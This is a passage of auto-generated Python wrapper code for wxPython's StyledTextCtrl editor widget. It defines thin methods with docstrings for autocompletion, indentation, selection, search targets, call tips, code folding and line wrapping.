_stc.StyledTextCtrl_AutoCompSetSeparator(*args, **kwargs)\n\n def AutoCompGetSeparator(*args, **kwargs):\n \"\"\"\n AutoCompGetSeparator(self) -> int\n\n Retrieve the auto-completion list separator character.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompGetSeparator(*args, **kwargs)\n\n def AutoCompSelect(*args, **kwargs):\n \"\"\"\n AutoCompSelect(self, String text)\n\n Select the item in the auto-completion list that starts with a string.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompSelect(*args, **kwargs)\n\n def AutoCompSetCancelAtStart(*args, **kwargs):\n \"\"\"\n AutoCompSetCancelAtStart(self, bool cancel)\n\n Should the auto-completion list be cancelled if the user backspaces to a\n position before where the box was created.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompSetCancelAtStart(*args, **kwargs)\n\n def AutoCompGetCancelAtStart(*args, **kwargs):\n \"\"\"\n AutoCompGetCancelAtStart(self) -> bool\n\n Retrieve whether auto-completion cancelled by backspacing before start.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompGetCancelAtStart(*args, **kwargs)\n\n def AutoCompSetFillUps(*args, **kwargs):\n \"\"\"\n AutoCompSetFillUps(self, String characterSet)\n\n Define a set of characters that when typed will cause the autocompletion to\n choose the selected item.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompSetFillUps(*args, **kwargs)\n\n def AutoCompSetChooseSingle(*args, **kwargs):\n \"\"\"\n AutoCompSetChooseSingle(self, bool chooseSingle)\n\n Should a single item auto-completion list automatically choose the item.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompSetChooseSingle(*args, **kwargs)\n\n def AutoCompGetChooseSingle(*args, **kwargs):\n \"\"\"\n AutoCompGetChooseSingle(self) -> bool\n\n Retrieve whether a single item auto-completion list automatically choose the item.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompGetChooseSingle(*args, **kwargs)\n\n def AutoCompSetIgnoreCase(*args, **kwargs):\n \"\"\"\n AutoCompSetIgnoreCase(self, bool ignoreCase)\n\n Set whether case is significant when performing auto-completion searches.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompSetIgnoreCase(*args, **kwargs)\n\n def AutoCompGetIgnoreCase(*args, **kwargs):\n \"\"\"\n AutoCompGetIgnoreCase(self) -> bool\n\n Retrieve state of ignore case flag.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompGetIgnoreCase(*args, **kwargs)\n\n def UserListShow(*args, **kwargs):\n \"\"\"\n UserListShow(self, int listType, String itemList)\n\n Display a list of strings and send notification when user chooses one.\n \"\"\"\n return _stc.StyledTextCtrl_UserListShow(*args, **kwargs)\n\n def AutoCompSetAutoHide(*args, **kwargs):\n \"\"\"\n AutoCompSetAutoHide(self, bool autoHide)\n\n Set whether or not autocompletion is hidden automatically when nothing matches.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompSetAutoHide(*args, **kwargs)\n\n def AutoCompGetAutoHide(*args, **kwargs):\n \"\"\"\n AutoCompGetAutoHide(self) -> bool\n\n Retrieve whether or not autocompletion is hidden automatically when nothing matches.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompGetAutoHide(*args, **kwargs)\n\n def AutoCompSetDropRestOfWord(*args, **kwargs):\n \"\"\"\n AutoCompSetDropRestOfWord(self, bool dropRestOfWord)\n\n Set whether or not autocompletion deletes any word characters\n after the inserted text upon completion.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompSetDropRestOfWord(*args, **kwargs)\n\n def AutoCompGetDropRestOfWord(*args, **kwargs):\n \"\"\"\n AutoCompGetDropRestOfWord(self) -> bool\n\n Retrieve whether or not autocompletion deletes any word characters\n after the inserted text upon completion.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompGetDropRestOfWord(*args, **kwargs)\n\n def RegisterImage(*args, **kwargs):\n \"\"\"\n RegisterImage(self, int type, Bitmap bmp)\n\n Register an image for use in autocompletion lists.\n \"\"\"\n return _stc.StyledTextCtrl_RegisterImage(*args, **kwargs)\n\n def ClearRegisteredImages(*args, **kwargs):\n \"\"\"\n ClearRegisteredImages(self)\n\n Clear all the registered images.\n \"\"\"\n return _stc.StyledTextCtrl_ClearRegisteredImages(*args, **kwargs)\n\n def AutoCompGetTypeSeparator(*args, **kwargs):\n \"\"\"\n AutoCompGetTypeSeparator(self) -> int\n\n Retrieve the auto-completion list type-separator character.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompGetTypeSeparator(*args, **kwargs)\n\n def AutoCompSetTypeSeparator(*args, **kwargs):\n \"\"\"\n AutoCompSetTypeSeparator(self, int separatorCharacter)\n\n Change the type-separator character in the string setting up an auto-completion list.\n Default is '?' but can be changed if items contain '?'.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompSetTypeSeparator(*args, **kwargs)\n\n def AutoCompSetMaxWidth(*args, **kwargs):\n \"\"\"\n AutoCompSetMaxWidth(self, int characterCount)\n\n Set the maximum width, in characters, of auto-completion and user lists.\n Set to 0 to autosize to fit longest item, which is the default.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompSetMaxWidth(*args, **kwargs)\n\n def AutoCompGetMaxWidth(*args, **kwargs):\n \"\"\"\n AutoCompGetMaxWidth(self) -> int\n\n Get the maximum width, in characters, of auto-completion and user lists.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompGetMaxWidth(*args, **kwargs)\n\n def AutoCompSetMaxHeight(*args, **kwargs):\n \"\"\"\n AutoCompSetMaxHeight(self, int rowCount)\n\n Set the maximum height, in rows, of auto-completion and user lists.\n The default is 5 rows.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompSetMaxHeight(*args, **kwargs)\n\n def AutoCompGetMaxHeight(*args, **kwargs):\n \"\"\"\n AutoCompGetMaxHeight(self) -> int\n\n Set the maximum height, in rows, of auto-completion and user lists.\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompGetMaxHeight(*args, **kwargs)\n\n def SetIndent(*args, **kwargs):\n \"\"\"\n SetIndent(self, int indentSize)\n\n Set the number of spaces used for one level of indentation.\n \"\"\"\n return _stc.StyledTextCtrl_SetIndent(*args, **kwargs)\n\n def GetIndent(*args, **kwargs):\n \"\"\"\n GetIndent(self) -> int\n\n Retrieve indentation size.\n \"\"\"\n return _stc.StyledTextCtrl_GetIndent(*args, **kwargs)\n\n def SetUseTabs(*args, **kwargs):\n \"\"\"\n SetUseTabs(self, bool useTabs)\n\n Indentation will only use space characters if useTabs is false, otherwise\n it will use a combination of tabs and spaces.\n \"\"\"\n return _stc.StyledTextCtrl_SetUseTabs(*args, **kwargs)\n\n def GetUseTabs(*args, **kwargs):\n \"\"\"\n GetUseTabs(self) -> bool\n\n Retrieve whether tabs will be used in indentation.\n \"\"\"\n return _stc.StyledTextCtrl_GetUseTabs(*args, **kwargs)\n\n def SetLineIndentation(*args, **kwargs):\n \"\"\"\n SetLineIndentation(self, int line, int indentSize)\n\n Change the indentation of a line to a number of columns.\n \"\"\"\n return _stc.StyledTextCtrl_SetLineIndentation(*args, **kwargs)\n\n def GetLineIndentation(*args, **kwargs):\n \"\"\"\n GetLineIndentation(self, int line) -> int\n\n Retrieve the number of columns that a line is indented.\n \"\"\"\n return _stc.StyledTextCtrl_GetLineIndentation(*args, **kwargs)\n\n def GetLineIndentPosition(*args, **kwargs):\n \"\"\"\n GetLineIndentPosition(self, int line) -> int\n\n Retrieve the position before the first non indentation character on a line.\n \"\"\"\n return _stc.StyledTextCtrl_GetLineIndentPosition(*args, **kwargs)\n\n def GetColumn(*args, **kwargs):\n \"\"\"\n GetColumn(self, int pos) -> int\n\n Retrieve the column number of a position, taking tab width into account.\n \"\"\"\n return _stc.StyledTextCtrl_GetColumn(*args, **kwargs)\n\n def SetUseHorizontalScrollBar(*args, **kwargs):\n \"\"\"\n SetUseHorizontalScrollBar(self, bool show)\n\n Show or hide the horizontal scroll bar.\n \"\"\"\n return _stc.StyledTextCtrl_SetUseHorizontalScrollBar(*args, **kwargs)\n\n def GetUseHorizontalScrollBar(*args, **kwargs):\n \"\"\"\n GetUseHorizontalScrollBar(self) -> bool\n\n Is the horizontal scroll bar visible?\n \"\"\"\n return _stc.StyledTextCtrl_GetUseHorizontalScrollBar(*args, **kwargs)\n\n def SetIndentationGuides(*args, **kwargs):\n \"\"\"\n SetIndentationGuides(self, bool show)\n\n Show or hide indentation guides.\n \"\"\"\n return _stc.StyledTextCtrl_SetIndentationGuides(*args, **kwargs)\n\n def GetIndentationGuides(*args, **kwargs):\n \"\"\"\n GetIndentationGuides(self) -> bool\n\n Are the indentation guides visible?\n \"\"\"\n return _stc.StyledTextCtrl_GetIndentationGuides(*args, **kwargs)\n\n def SetHighlightGuide(*args, **kwargs):\n \"\"\"\n SetHighlightGuide(self, int column)\n\n Set the highlighted indentation guide column.\n 0 = no highlighted guide.\n \"\"\"\n return _stc.StyledTextCtrl_SetHighlightGuide(*args, **kwargs)\n\n def GetHighlightGuide(*args, **kwargs):\n \"\"\"\n GetHighlightGuide(self) -> int\n\n Get the highlighted indentation guide column.\n \"\"\"\n return _stc.StyledTextCtrl_GetHighlightGuide(*args, **kwargs)\n\n def GetLineEndPosition(*args, **kwargs):\n \"\"\"\n GetLineEndPosition(self, int line) -> int\n\n Get the position after the last visible characters on a line.\n \"\"\"\n return _stc.StyledTextCtrl_GetLineEndPosition(*args, **kwargs)\n\n def GetCodePage(*args, **kwargs):\n \"\"\"\n GetCodePage(self) -> int\n\n Get the code page used to interpret the bytes of the document as characters.\n \"\"\"\n return _stc.StyledTextCtrl_GetCodePage(*args, **kwargs)\n\n def GetCaretForeground(*args, **kwargs):\n \"\"\"\n GetCaretForeground(self) -> Colour\n\n Get the foreground colour of the caret.\n \"\"\"\n return _stc.StyledTextCtrl_GetCaretForeground(*args, **kwargs)\n\n def GetReadOnly(*args, **kwargs):\n \"\"\"\n GetReadOnly(self) -> bool\n\n In read-only mode?\n \"\"\"\n return _stc.StyledTextCtrl_GetReadOnly(*args, **kwargs)\n\n def SetCurrentPos(*args, **kwargs):\n \"\"\"\n SetCurrentPos(self, int pos)\n\n Sets the position of the caret.\n \"\"\"\n return _stc.StyledTextCtrl_SetCurrentPos(*args, **kwargs)\n\n def SetSelectionStart(*args, **kwargs):\n \"\"\"\n SetSelectionStart(self, int pos)\n\n Sets the position that starts the selection - this becomes the anchor.\n \"\"\"\n return _stc.StyledTextCtrl_SetSelectionStart(*args, **kwargs)\n\n def GetSelectionStart(*args, **kwargs):\n \"\"\"\n GetSelectionStart(self) -> int\n\n Returns the position at the start of the selection.\n \"\"\"\n return _stc.StyledTextCtrl_GetSelectionStart(*args, **kwargs)\n\n def SetSelectionEnd(*args, **kwargs):\n \"\"\"\n SetSelectionEnd(self, int pos)\n\n Sets the position that ends the selection - this becomes the currentPosition.\n \"\"\"\n return _stc.StyledTextCtrl_SetSelectionEnd(*args, **kwargs)\n\n def GetSelectionEnd(*args, **kwargs):\n \"\"\"\n GetSelectionEnd(self) -> int\n\n Returns the position at the end of the selection.\n \"\"\"\n return _stc.StyledTextCtrl_GetSelectionEnd(*args, **kwargs)\n\n def SetPrintMagnification(*args, **kwargs):\n \"\"\"\n SetPrintMagnification(self, int magnification)\n\n Sets the print magnification added to the point size of each style for printing.\n \"\"\"\n return _stc.StyledTextCtrl_SetPrintMagnification(*args, **kwargs)\n\n def GetPrintMagnification(*args, **kwargs):\n \"\"\"\n GetPrintMagnification(self) -> int\n\n Returns the print magnification.\n \"\"\"\n return _stc.StyledTextCtrl_GetPrintMagnification(*args, **kwargs)\n\n def SetPrintColourMode(*args, **kwargs):\n \"\"\"\n SetPrintColourMode(self, int mode)\n\n Modify colours when printing for clearer printed text.\n \"\"\"\n return _stc.StyledTextCtrl_SetPrintColourMode(*args, **kwargs)\n\n def GetPrintColourMode(*args, **kwargs):\n \"\"\"\n GetPrintColourMode(self) -> int\n\n Returns the print colour mode.\n \"\"\"\n return _stc.StyledTextCtrl_GetPrintColourMode(*args, **kwargs)\n\n def FindText(*args, **kwargs):\n \"\"\"\n FindText(self, int minPos, int maxPos, String text, int flags=0) -> int\n\n Find some text in the document.\n \"\"\"\n return _stc.StyledTextCtrl_FindText(*args, **kwargs)\n\n def FormatRange(*args, **kwargs):\n \"\"\"\n FormatRange(self, bool doDraw, int startPos, int endPos, DC draw, DC target, \n Rect renderRect, Rect pageRect) -> int\n\n On Windows, will draw the document into a display context such as a printer.\n \"\"\"\n return _stc.StyledTextCtrl_FormatRange(*args, **kwargs)\n\n def GetFirstVisibleLine(*args, **kwargs):\n \"\"\"\n GetFirstVisibleLine(self) -> int\n\n Retrieve the display line at the top of the display.\n \"\"\"\n return _stc.StyledTextCtrl_GetFirstVisibleLine(*args, **kwargs)\n\n def GetLine(*args, **kwargs):\n \"\"\"\n GetLine(self, int line) -> String\n\n Retrieve the contents of a line.\n \"\"\"\n return _stc.StyledTextCtrl_GetLine(*args, **kwargs)\n\n def GetLineCount(*args, **kwargs):\n \"\"\"\n GetLineCount(self) -> int\n\n Returns the number of lines in the document. There is always at least one.\n \"\"\"\n return _stc.StyledTextCtrl_GetLineCount(*args, **kwargs)\n\n def SetMarginLeft(*args, **kwargs):\n \"\"\"\n SetMarginLeft(self, int pixelWidth)\n\n Sets the size in pixels of the left margin.\n \"\"\"\n return _stc.StyledTextCtrl_SetMarginLeft(*args, **kwargs)\n\n def GetMarginLeft(*args, **kwargs):\n \"\"\"\n GetMarginLeft(self) -> int\n\n Returns the size in pixels of the left margin.\n \"\"\"\n return _stc.StyledTextCtrl_GetMarginLeft(*args, **kwargs)\n\n def SetMarginRight(*args, **kwargs):\n \"\"\"\n SetMarginRight(self, int pixelWidth)\n\n Sets the size in pixels of the right margin.\n \"\"\"\n return _stc.StyledTextCtrl_SetMarginRight(*args, **kwargs)\n\n def GetMarginRight(*args, **kwargs):\n \"\"\"\n GetMarginRight(self) -> int\n\n Returns the size in pixels of the right margin.\n \"\"\"\n return _stc.StyledTextCtrl_GetMarginRight(*args, **kwargs)\n\n def GetModify(*args, **kwargs):\n \"\"\"\n GetModify(self) -> bool\n\n Is the document different from when it was last saved?\n \"\"\"\n return _stc.StyledTextCtrl_GetModify(*args, **kwargs)\n\n def SetSelection(*args, **kwargs):\n \"\"\"\n SetSelection(self, int start, int end)\n\n Select a range of text.\n \"\"\"\n return _stc.StyledTextCtrl_SetSelection(*args, **kwargs)\n\n def GetSelectedText(*args, **kwargs):\n \"\"\"\n GetSelectedText(self) -> String\n\n Retrieve the selected text.\n \"\"\"\n return _stc.StyledTextCtrl_GetSelectedText(*args, **kwargs)\n\n def GetTextRange(*args, **kwargs):\n \"\"\"\n GetTextRange(self, int startPos, int endPos) -> String\n\n Retrieve a range of text.\n \"\"\"\n return _stc.StyledTextCtrl_GetTextRange(*args, **kwargs)\n\n def HideSelection(*args, **kwargs):\n \"\"\"\n HideSelection(self, bool normal)\n\n Draw the selection in normal style or with selection highlighted.\n \"\"\"\n return _stc.StyledTextCtrl_HideSelection(*args, **kwargs)\n\n def LineFromPosition(*args, **kwargs):\n \"\"\"\n LineFromPosition(self, int pos) -> int\n\n Retrieve the line containing a position.\n \"\"\"\n return _stc.StyledTextCtrl_LineFromPosition(*args, **kwargs)\n\n def PositionFromLine(*args, **kwargs):\n \"\"\"\n PositionFromLine(self, int line) -> int\n\n Retrieve the position at the start of a line.\n \"\"\"\n return _stc.StyledTextCtrl_PositionFromLine(*args, **kwargs)\n\n def LineScroll(*args, **kwargs):\n \"\"\"\n LineScroll(self, int columns, int lines)\n\n Scroll horizontally and vertically.\n \"\"\"\n return _stc.StyledTextCtrl_LineScroll(*args, **kwargs)\n\n def EnsureCaretVisible(*args, **kwargs):\n \"\"\"\n EnsureCaretVisible(self)\n\n Ensure the caret is visible.\n \"\"\"\n return _stc.StyledTextCtrl_EnsureCaretVisible(*args, **kwargs)\n\n def ReplaceSelection(*args, **kwargs):\n \"\"\"\n ReplaceSelection(self, String text)\n\n Replace the selected text with the argument text.\n \"\"\"\n return _stc.StyledTextCtrl_ReplaceSelection(*args, **kwargs)\n\n def SetReadOnly(*args, **kwargs):\n \"\"\"\n SetReadOnly(self, bool readOnly)\n\n Set to read only or read write.\n \"\"\"\n return _stc.StyledTextCtrl_SetReadOnly(*args, **kwargs)\n\n def CanPaste(*args, **kwargs):\n \"\"\"\n CanPaste(self) -> bool\n\n Will a paste succeed?\n \"\"\"\n return _stc.StyledTextCtrl_CanPaste(*args, **kwargs)\n\n def CanUndo(*args, **kwargs):\n \"\"\"\n CanUndo(self) -> bool\n\n Are there any undoable actions in the undo history?\n \"\"\"\n return _stc.StyledTextCtrl_CanUndo(*args, **kwargs)\n\n def EmptyUndoBuffer(*args, **kwargs):\n \"\"\"\n EmptyUndoBuffer(self)\n\n Delete the undo history.\n \"\"\"\n return _stc.StyledTextCtrl_EmptyUndoBuffer(*args, **kwargs)\n\n def Undo(*args, **kwargs):\n \"\"\"\n Undo(self)\n\n Undo one action in the undo history.\n \"\"\"\n return _stc.StyledTextCtrl_Undo(*args, **kwargs)\n\n def Cut(*args, **kwargs):\n \"\"\"\n Cut(self)\n\n Cut the selection to the clipboard.\n \"\"\"\n return _stc.StyledTextCtrl_Cut(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"\n Copy(self)\n\n Copy the selection to the clipboard.\n \"\"\"\n return _stc.StyledTextCtrl_Copy(*args, **kwargs)\n\n def Paste(*args, **kwargs):\n \"\"\"\n Paste(self)\n\n Paste the contents of the clipboard into the document replacing the selection.\n \"\"\"\n return _stc.StyledTextCtrl_Paste(*args, **kwargs)\n\n def Clear(*args, **kwargs):\n \"\"\"\n Clear(self)\n\n Clear the selection.\n \"\"\"\n return _stc.StyledTextCtrl_Clear(*args, **kwargs)\n\n def SetText(*args, **kwargs):\n \"\"\"\n SetText(self, String text)\n\n Replace the contents of the document with the argument text.\n \"\"\"\n return _stc.StyledTextCtrl_SetText(*args, **kwargs)\n\n def GetText(*args, **kwargs):\n \"\"\"\n GetText(self) -> String\n\n Retrieve all the text in the document.\n \"\"\"\n return _stc.StyledTextCtrl_GetText(*args, **kwargs)\n\n def GetTextLength(*args, **kwargs):\n \"\"\"\n GetTextLength(self) -> int\n\n Retrieve the number of characters in the document.\n \"\"\"\n return _stc.StyledTextCtrl_GetTextLength(*args, **kwargs)\n\n def SetOvertype(*args, **kwargs):\n \"\"\"\n SetOvertype(self, bool overtype)\n\n Set to overtype (true) or insert mode.\n \"\"\"\n return _stc.StyledTextCtrl_SetOvertype(*args, **kwargs)\n\n def GetOvertype(*args, **kwargs):\n \"\"\"\n GetOvertype(self) -> bool\n\n Returns true if overtype mode is active otherwise false is returned.\n \"\"\"\n return _stc.StyledTextCtrl_GetOvertype(*args, **kwargs)\n\n def SetCaretWidth(*args, **kwargs):\n \"\"\"\n SetCaretWidth(self, int pixelWidth)\n\n Set the width of the insert mode caret.\n \"\"\"\n return _stc.StyledTextCtrl_SetCaretWidth(*args, **kwargs)\n\n def GetCaretWidth(*args, **kwargs):\n \"\"\"\n GetCaretWidth(self) -> int\n\n Returns the width of the insert mode caret.\n \"\"\"\n return _stc.StyledTextCtrl_GetCaretWidth(*args, **kwargs)\n\n def SetTargetStart(*args, **kwargs):\n \"\"\"\n SetTargetStart(self, int pos)\n\n Sets the position that starts the target which is used for updating the\n document without affecting the scroll position.\n \"\"\"\n return _stc.StyledTextCtrl_SetTargetStart(*args, **kwargs)\n\n def GetTargetStart(*args, **kwargs):\n \"\"\"\n GetTargetStart(self) -> int\n\n Get the position that starts the target.\n \"\"\"\n return _stc.StyledTextCtrl_GetTargetStart(*args, **kwargs)\n\n def SetTargetEnd(*args, **kwargs):\n \"\"\"\n SetTargetEnd(self, int pos)\n\n Sets the position that ends the target which is used for updating the\n document without affecting the scroll position.\n \"\"\"\n return _stc.StyledTextCtrl_SetTargetEnd(*args, **kwargs)\n\n def GetTargetEnd(*args, **kwargs):\n \"\"\"\n GetTargetEnd(self) -> int\n\n Get the position that ends the target.\n \"\"\"\n return _stc.StyledTextCtrl_GetTargetEnd(*args, **kwargs)\n\n def ReplaceTarget(*args, **kwargs):\n \"\"\"\n ReplaceTarget(self, String text) -> int\n\n Replace the target text with the argument text.\n Text is counted so it can contain NULs.\n Returns the length of the replacement text.\n \"\"\"\n return _stc.StyledTextCtrl_ReplaceTarget(*args, **kwargs)\n\n def ReplaceTargetRE(*args, **kwargs):\n \"\"\"\n ReplaceTargetRE(self, String text) -> int\n\n Replace the target text with the argument text after \\d processing.\n Text is counted so it can contain NULs.\n Looks for \\d where d is between 1 and 9 and replaces these with the strings\n matched in the last search operation which were surrounded by \\( and \\).\n Returns the length of the replacement text including any change\n caused by processing the \\d patterns.\n \"\"\"\n return _stc.StyledTextCtrl_ReplaceTargetRE(*args, **kwargs)\n\n def SearchInTarget(*args, **kwargs):\n \"\"\"\n SearchInTarget(self, String text) -> int\n\n Search for a counted string in the target and set the target to the found\n range. Text is counted so it can contain NULs.\n Returns length of range or -1 for failure in which case target is not moved.\n \"\"\"\n return _stc.StyledTextCtrl_SearchInTarget(*args, **kwargs)\n\n def SetSearchFlags(*args, **kwargs):\n \"\"\"\n SetSearchFlags(self, int flags)\n\n Set the search flags used by SearchInTarget.\n \"\"\"\n return _stc.StyledTextCtrl_SetSearchFlags(*args, **kwargs)\n\n def GetSearchFlags(*args, **kwargs):\n \"\"\"\n GetSearchFlags(self) -> int\n\n Get the search flags used by SearchInTarget.\n \"\"\"\n return _stc.StyledTextCtrl_GetSearchFlags(*args, **kwargs)\n\n def CallTipShow(*args, **kwargs):\n \"\"\"\n CallTipShow(self, int pos, String definition)\n\n Show a call tip containing a definition near position pos.\n \"\"\"\n return _stc.StyledTextCtrl_CallTipShow(*args, **kwargs)\n\n def CallTipCancel(*args, **kwargs):\n \"\"\"\n CallTipCancel(self)\n\n Remove the call tip from the screen.\n \"\"\"\n return _stc.StyledTextCtrl_CallTipCancel(*args, **kwargs)\n\n def CallTipActive(*args, **kwargs):\n \"\"\"\n CallTipActive(self) -> bool\n\n Is there an active call tip?\n \"\"\"\n return _stc.StyledTextCtrl_CallTipActive(*args, **kwargs)\n\n def CallTipPosAtStart(*args, **kwargs):\n \"\"\"\n CallTipPosAtStart(self) -> int\n\n Retrieve the position where the caret was before displaying the call tip.\n \"\"\"\n return _stc.StyledTextCtrl_CallTipPosAtStart(*args, **kwargs)\n\n def CallTipSetHighlight(*args, **kwargs):\n \"\"\"\n CallTipSetHighlight(self, int start, int end)\n\n Highlight a segment of the definition.\n \"\"\"\n return _stc.StyledTextCtrl_CallTipSetHighlight(*args, **kwargs)\n\n def CallTipSetBackground(*args, **kwargs):\n \"\"\"\n CallTipSetBackground(self, Colour back)\n\n Set the background colour for the call tip.\n \"\"\"\n return _stc.StyledTextCtrl_CallTipSetBackground(*args, **kwargs)\n\n def CallTipSetForeground(*args, **kwargs):\n \"\"\"\n CallTipSetForeground(self, Colour fore)\n\n Set the foreground colour for the call tip.\n \"\"\"\n return _stc.StyledTextCtrl_CallTipSetForeground(*args, **kwargs)\n\n def CallTipSetForegroundHighlight(*args, **kwargs):\n \"\"\"\n CallTipSetForegroundHighlight(self, Colour fore)\n\n Set the foreground colour for the highlighted part of the call tip.\n \"\"\"\n return _stc.StyledTextCtrl_CallTipSetForegroundHighlight(*args, **kwargs)\n\n def CallTipUseStyle(*args, **kwargs):\n \"\"\"\n CallTipUseStyle(self, int tabSize)\n\n Enable use of STYLE_CALLTIP and set call tip tab size in pixels.\n \"\"\"\n return _stc.StyledTextCtrl_CallTipUseStyle(*args, **kwargs)\n\n def VisibleFromDocLine(*args, **kwargs):\n \"\"\"\n VisibleFromDocLine(self, int line) -> int\n\n Find the display line of a document line taking hidden lines into account.\n \"\"\"\n return _stc.StyledTextCtrl_VisibleFromDocLine(*args, **kwargs)\n\n def DocLineFromVisible(*args, **kwargs):\n \"\"\"\n DocLineFromVisible(self, int lineDisplay) -> int\n\n Find the document line of a display line taking hidden lines into account.\n \"\"\"\n return _stc.StyledTextCtrl_DocLineFromVisible(*args, **kwargs)\n\n def WrapCount(*args, **kwargs):\n \"\"\"\n WrapCount(self, int line) -> int\n\n The number of display lines needed to wrap a document line\n \"\"\"\n return _stc.StyledTextCtrl_WrapCount(*args, **kwargs)\n\n def SetFoldLevel(*args, **kwargs):\n \"\"\"\n SetFoldLevel(self, int line, int level)\n\n Set the fold level of a line.\n This encodes an integer level along with flags indicating whether the\n line is a header and whether it is effectively white space.\n \"\"\"\n return _stc.StyledTextCtrl_SetFoldLevel(*args, **kwargs)\n\n def GetFoldLevel(*args, **kwargs):\n \"\"\"\n GetFoldLevel(self, int line) -> int\n\n Retrieve the fold level of a line.\n \"\"\"\n return _stc.StyledTextCtrl_GetFoldLevel(*args, **kwargs)\n\n def GetLastChild(*args, **kwargs):\n \"\"\"\n GetLastChild(self, int line, int level) -> int\n\n Find the last child line of a header line.\n \"\"\"\n return _stc.StyledTextCtrl_GetLastChild(*args, **kwargs)\n\n def GetFoldParent(*args, **kwargs):\n \"\"\"\n GetFoldParent(self, int line) -> int\n\n Find the parent line of a child line.\n \"\"\"\n return _stc.StyledTextCtrl_GetFoldParent(*args, **kwargs)\n\n def ShowLines(*args, **kwargs):\n \"\"\"\n ShowLines(self, int lineStart, int lineEnd)\n\n Make a range of lines visible.\n \"\"\"\n return _stc.StyledTextCtrl_ShowLines(*args, **kwargs)\n\n def HideLines(*args, **kwargs):\n \"\"\"\n HideLines(self, int lineStart, int lineEnd)\n\n Make a range of lines invisible.\n \"\"\"\n return _stc.StyledTextCtrl_HideLines(*args, **kwargs)\n\n def GetLineVisible(*args, **kwargs):\n \"\"\"\n GetLineVisible(self, int line) -> bool\n\n Is a line visible?\n \"\"\"\n return _stc.StyledTextCtrl_GetLineVisible(*args, **kwargs)\n\n def SetFoldExpanded(*args, **kwargs):\n \"\"\"\n SetFoldExpanded(self, int line, bool expanded)\n\n Show the children of a header line.\n \"\"\"\n return _stc.StyledTextCtrl_SetFoldExpanded(*args, **kwargs)\n\n def GetFoldExpanded(*args, **kwargs):\n \"\"\"\n GetFoldExpanded(self, int line) -> bool\n\n Is a header line expanded?\n \"\"\"\n return _stc.StyledTextCtrl_GetFoldExpanded(*args, **kwargs)\n\n def ToggleFold(*args, **kwargs):\n \"\"\"\n ToggleFold(self, int line)\n\n Switch a header line between expanded and contracted.\n \"\"\"\n return _stc.StyledTextCtrl_ToggleFold(*args, **kwargs)\n\n def EnsureVisible(*args, **kwargs):\n \"\"\"\n EnsureVisible(self, int line)\n\n Ensure a particular line is visible by expanding any header line hiding it.\n \"\"\"\n return _stc.StyledTextCtrl_EnsureVisible(*args, **kwargs)\n\n def SetFoldFlags(*args, **kwargs):\n \"\"\"\n SetFoldFlags(self, int flags)\n\n Set some style options for folding.\n \"\"\"\n return _stc.StyledTextCtrl_SetFoldFlags(*args, **kwargs)\n\n def EnsureVisibleEnforcePolicy(*args, **kwargs):\n \"\"\"\n EnsureVisibleEnforcePolicy(self, int line)\n\n Ensure a particular line is visible by expanding any header line hiding it.\n Use the currently set visibility policy to determine which range to display.\n \"\"\"\n return _stc.StyledTextCtrl_EnsureVisibleEnforcePolicy(*args, **kwargs)\n\n def SetTabIndents(*args, **kwargs):\n \"\"\"\n SetTabIndents(self, bool tabIndents)\n\n Sets whether a tab pressed when caret is within indentation indents.\n \"\"\"\n return _stc.StyledTextCtrl_SetTabIndents(*args, **kwargs)\n\n def GetTabIndents(*args, **kwargs):\n \"\"\"\n GetTabIndents(self) -> bool\n\n Does a tab pressed when caret is within indentation indent?\n \"\"\"\n return _stc.StyledTextCtrl_GetTabIndents(*args, **kwargs)\n\n def SetBackSpaceUnIndents(*args, **kwargs):\n \"\"\"\n SetBackSpaceUnIndents(self, bool bsUnIndents)\n\n Sets whether a backspace pressed when caret is within indentation unindents.\n \"\"\"\n return _stc.StyledTextCtrl_SetBackSpaceUnIndents(*args, **kwargs)\n\n def GetBackSpaceUnIndents(*args, **kwargs):\n \"\"\"\n GetBackSpaceUnIndents(self) -> bool\n\n Does a backspace pressed when caret is within indentation unindent?\n \"\"\"\n return _stc.StyledTextCtrl_GetBackSpaceUnIndents(*args, **kwargs)\n\n def SetMouseDwellTime(*args, **kwargs):\n \"\"\"\n SetMouseDwellTime(self, int periodMilliseconds)\n\n Sets the time the mouse must sit still to generate a mouse dwell event.\n \"\"\"\n return _stc.StyledTextCtrl_SetMouseDwellTime(*args, **kwargs)\n\n def GetMouseDwellTime(*args, **kwargs):\n \"\"\"\n GetMouseDwellTime(self) -> int\n\n Retrieve the time the mouse must sit still to generate a mouse dwell event.\n \"\"\"\n return _stc.StyledTextCtrl_GetMouseDwellTime(*args, **kwargs)\n\n def WordStartPosition(*args, **kwargs):\n \"\"\"\n WordStartPosition(self, int pos, bool onlyWordCharacters) -> int\n\n Get position of start of word.\n \"\"\"\n return _stc.StyledTextCtrl_WordStartPosition(*args, **kwargs)\n\n def WordEndPosition(*args, **kwargs):\n \"\"\"\n WordEndPosition(self, int pos, bool onlyWordCharacters) -> int\n\n Get position of end of word.\n \"\"\"\n return _stc.StyledTextCtrl_WordEndPosition(*args, **kwargs)\n\n def SetWrapMode(*args, **kwargs):\n \"\"\"\n SetWrapMode(self, int mode)\n\n Sets whether text is word wrapped.\n \"\"\"\n return _stc.StyledTextCtrl_SetWrapMode(*args, **kwargs)\n\n def GetWrapMode(*args, **kwargs):\n \"\"\"\n GetWrapMode(self) -> int\n\n Retrieve whether text is word wrapped.\n \"\"\"\n return _stc.StyledTextCtrl_GetWrapMode(*args, **kwargs)\n\n def SetWrapVisualFlags(*args, **kwargs):\n \"\"\"\n SetWrapVisualFlags(self, int wrapVisualFlags)\n\n Set the display mode of visual flags for wrapped 